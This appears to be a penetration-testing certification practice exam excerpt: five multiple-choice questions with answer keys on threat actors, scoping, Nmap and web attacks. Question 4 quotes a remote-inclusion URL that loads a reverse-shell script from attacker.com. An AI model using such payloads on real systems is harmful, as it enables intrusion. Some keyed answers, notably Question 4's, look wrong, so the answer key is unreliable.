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QUESTION 1

When considering threat actor scoping prior to an engagement, which of the following characteristics makes an APT
challenging to emulate? 

A. Development of custom zero-day exploits and tools 

B. Leveraging the dark net for non-attribution 

C. Tenacity and efficacy of social engineering attacks 

D. Amount of bandwidth available for DoS attacks 

Correct Answer: C 

 

 

QUESTION 2

Which of the following has a direct and significant impact on the budget of the security assessment? 

A. Scoping 

B. Scheduling 

C. Compliance requirement 

D. Target risk 

Correct Answer: D 

 

 

QUESTION 3

A consultant wants to scan all the TCP ports on an identified device. Which of the following Nmap switches will
complete this task? 

A. -p-

B. -p ALX, 

C. -p 1-65534 

D. -port 1-65534 

Correct Answer: A 
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QUESTION 4

While monitoring WAF logs, a security analyst discovers a successful attack against the following URL: 

https://example.com/index.php?Phone=http://attacker.com/badstuffhappens/revshell.php 

Which of the following remediation steps should be taken to prevent this type of attack? 

A. Implement a blacklist. 

B. Block URL redirections. 

C. Double URL encode the parameters. 

D. Stop external calls from the application. 

Correct Answer: B 

 

QUESTION 5

A security assessor is attempting to craft specialized XML files to test the security of the parsing functions during ingest
into a Windows application. Before beginning to test the application, which of the following should the assessor request
from the organization? 

A. Sample SOAP messages 

B. The REST API documentation 

C. A protocol fuzzing utility 

D. An applicable XSD file 

Correct Answer: D 
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